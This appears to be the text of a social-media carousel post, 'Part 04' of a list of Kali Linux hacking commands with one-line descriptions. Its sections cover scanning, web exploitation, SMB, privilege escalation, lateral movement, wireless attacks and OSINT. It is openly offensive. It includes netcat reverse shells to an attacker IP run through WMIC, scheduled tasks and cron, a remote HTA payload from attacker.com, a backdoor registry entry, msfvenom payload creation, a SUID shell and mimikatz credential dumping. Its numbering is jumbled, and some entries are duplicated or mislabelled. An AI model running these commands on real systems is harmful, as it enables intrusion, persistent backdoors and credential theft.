
hex.sec
hexsec_tools
hexsecteam
MASTER THE CYBER REALM
100 KALI LINUX COMMANDS EVERY HACKER MUST KNOW
PART 04
Swipe ›

Advanced Networking & Enumeration

384. netdiscover -r 192.168.1.0/24 – Scan for live hosts on a network.

385. masscan -p1-65535 --rate 10000 <IP> – High-speed port scanning.

386. nmap -p- --min-rate=1000 -T4 <IP> – Fast full port scan with Nmap.

387. nmap -sC -sV -p 80,443 <IP> – Perform a detailed scan on specific ports.

388. arp -a – Display ARP table to find local devices.

Web Exploitation & Attacks

389. sqlmap -u "http://target.com/page.php?id=1" --dbs – Find databases via SQL injection.

385. masscan -p1-65535 --rate 10000 <IP> – High-speed port scanning.

390. ffuf -w wordlist.txt -u http://target.com/FUZZ – Bruteforce hidden directories and files.

391. xsstrike -u http://target.com/search.php?q=test – Detect XSS vulnerabilities.

392. nikto -h http://target.com – Scan web servers for vulnerabilities.

394. whatweb http://target.com – Identify technologies used on a website.

395. Windows Hacking & SMB Exploitation

396. smbclient -U "guest" //<target_IP>/share – Connect to an SMB share as a guest.

397. enum4linux -a <target_IP> – Enumerate SMB shares, users, and groups.

398. crackmapexec smb <IP> -u user -p password – Test SMB login credentials.

399. wmic /node:<IP> process call create "cmd.exe /c nc.exe -e cmd.exe <attacker_IP> 4444" – Execute a reverse shell via WMI.

Social Engineering & Phishing

300. setoolkit – Launch the Social Engineering Toolkit (SET).
301. zphisher – Automate phishing attacks using Zphisher.

Miscellaneous Useful Command

302. htop – A better alternative to top for monitoring system resources.

Post-Exploitation & Persistence

303. schtasks /create /tn "Backdoor" /tr "cmd.exe /c nc.exe -e cmd.exe <attacker_IP> 4444" /sc onstart /ru system – Create a persistent backdoor on Windows.

304. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\path\to\malware.exe" – Add malware to Windows startup.

305. msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe > shell.exe – Create a Windows reverse shell payload.

306. persistence -U -i 30 -p 4444 -r – Enable persistence in Meterpreter.

307. echo '*/5 * * * * nc -e /bin/sh <attacker_IP> 4444' | crontab - – Set up a reverse shell using cron job.

308. cp /bin/bash /tmp/bash && chmod +s /tmp/bash – Create a SUID shell for privilege escalation.

309. icacls C:\Users\Public\backdoor.exe /grant Everyone:F – Modify file permissions on Windows.

310. wmic process call create "cmd.exe /c nc.exe -e cmd.exe <attacker_IP> 4444" – Execute a reverse shell using WMIC.

311. mshta "http://attacker.com/payload.hta" – Execute an HTA payload remotely.

312. powercat -c <attacker_IP> -p 4444 -e cmd – PowerShell reverse shell.

Privilege Escalation

313. sudo -l – List commands a user can run with sudo.

314. find / -perm -4000 -type f 2>/dev/null – Find SUID binaries.

315. strings /usr/bin/sudo | grep secure_path – Check for exploitable sudo privileges.

316. capsh --print – Show process capabilities.

317. getcap -r / 2>/dev/null – Check for capabilities that allow privilege escalation.

318. ps aux | grep root – Find root processes that can be hijacked.

319. uname -a – Check kernel version for known vulnerabilities.

320. cat /etc/issue – Identify the Linux distribution.

321. python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' – Exploit misconfigured Python capabilities.

322. echo 'import os; os.system("/bin/bash")' > /tmp/script.py && sudo python3 /tmp/script.py – Run a Python script with root privileges.

Windows Exploitation & Lateral Movement

323. bloodhound-python -c All -d domain.com -u user -p pass – Collect AD enumeration data.

324. rpcclient -U "Administrator" <target_IP> – Connect to a remote RPC server.

325. secretdump.py <user>@<target_IP> – Extract Windows password hashes.

326. wmiexec.py <domain>/<user>:<password>@<target> – Execute remote commands via WMI.

327. mimikatz privilege::debug sekurlsa::logonpasswords – Dump Windows credentials.

328. kerberoast -u <user> -p <password> -d <domain> – Extract Kerberos tickets for cracking.

329. crackmapexec smb <IP> -u user -p password – SMB enumeration and exploitation.

330. smbmap -H <target_IP> – List accessible SMB shares.

331. net user /domain – List domain users.

332. nltest /dclist:domain.com – Find domain controllers.

Cloud Security & AWS Pentesting

333. **aws configure** – Set up AWS CLI.

334. **aws iam list-users** – List AWS users.

335. **aws s3 ls** – List accessible S3 buckets.

336. **aws sts get-caller-identity** – Check AWS identity.

337. **aws secretsmanager list-secrets** – Find stored secrets.

338. **cloud_enum -k <keyword>** – Discover cloud assets.

339. **trufflehog --regex --entropy=True --max_depth=10 https://github.com/repo.git** – Search for AWS secrets in repos.

340. **s3scanner -b <bucket_name>** – Check S3 bucket permissions.

341. **gcloud auth list** – View active Google Cloud authentication.

342. **azure login** – Log in to Azure CLI.

OSINT (Open Source Intelligence)

343. theHarvester -d target.com -b all – Gather emails and subdomains.

344. recon-ng – Launch an OSINT framework.

345. amass enum -d domain.com – Enumerate subdomains.

346. dnsenum target.com – Perform DNS enumeration.

347. maltego – Open a GUI for OSINT mapping.

348. phoneinfoga scan -n +123456789 – Gather information on a phone number.

349. socialscan username – Check username availability across sites.

350. holehe -e user@gmail.com – Check if an email is registered on multiple platforms.

351. github-dorks -d <dork_query> – Search GitHub for leaked data.

352. twint -u <username> – Scrape X(Twitter) data.

Forensics & Steganography

354. binwalk -e image.png – Extract hidden data from a file.

355. foremost -i disk.img -o output/ – Recover deleted files.

356. photorec /dev/sdb – Recover deleted files from a storage device.

357. exiftool image.jpg – View metadata of an image.

358. stegdetect -s image.jpg – Detect steganography in images.

359. zsteg image.png – Analyze PNG steganography.

360. volatility -f memory.img --profile=Win10 pslist – Analyze Windows memory dumps.

361. bulk_extractor -o output/ disk.img – Extract data artifacts from a disk image.

362. 3strings file.bin – Extract readable text from binary files.

363. bmaptool copy /dev/sda image.img – Create a forensic image of a disk.

Wireless & Bluetooth Hacking

364. hcitool scan – Find Bluetooth devices.

365. l2ping -c 5 <device_MAC> – Ping a Bluetooth device.

366. btscanner – Scan for nearby Bluetooth devices.

367. aircrack-ng -b <BSSID> -w wordlist.txt handshake.cap – Crack a captured WiFi handshake.

368. hciconfig hci0 up – Enable Bluetooth interface.

369. iwconfig wlan0 txpower 30 – Increase WiFi signal strength.

370. bettercap -iface wlan0 – Start a WiFi MITM attack.

371. hcxdumptool -o capture.pcapng -i wlan0mon – Capture WPA handshakes.

372. mdk4 wlan0mon d – Deauthenticate all WiFi clients.

373. aireplay-ng -0 10 -a <BSSID> wlan0mon – Send deauthentication packets.

Miscellaneous

374. proxychains firefox – Route traffic through proxies.

375. tmux – Start a terminal multiplexer.

376. wireshark – Launch Wireshark GUI.

377. nc -w 5 -zv <IP> 22-1000 – Scan ports 22-1000 on a target.

378. arping -c 5 <IP> – Send ARP requests.

379. dnsrecon -d target.com -t axfr – Check for DNS zone transfers.

380. gnome-terminal -- bash -c 'echo "Hacked!"; exec bash' – Open a terminal and run a command.

381. pip install impacket – Install Impacket for network attacks.

382. echo 1 > /proc/sys/net/ipv4/ip_forward – Enable packet forwarding.

383. exit – Log out of the terminal session.


Byee!!
MR. ROBOT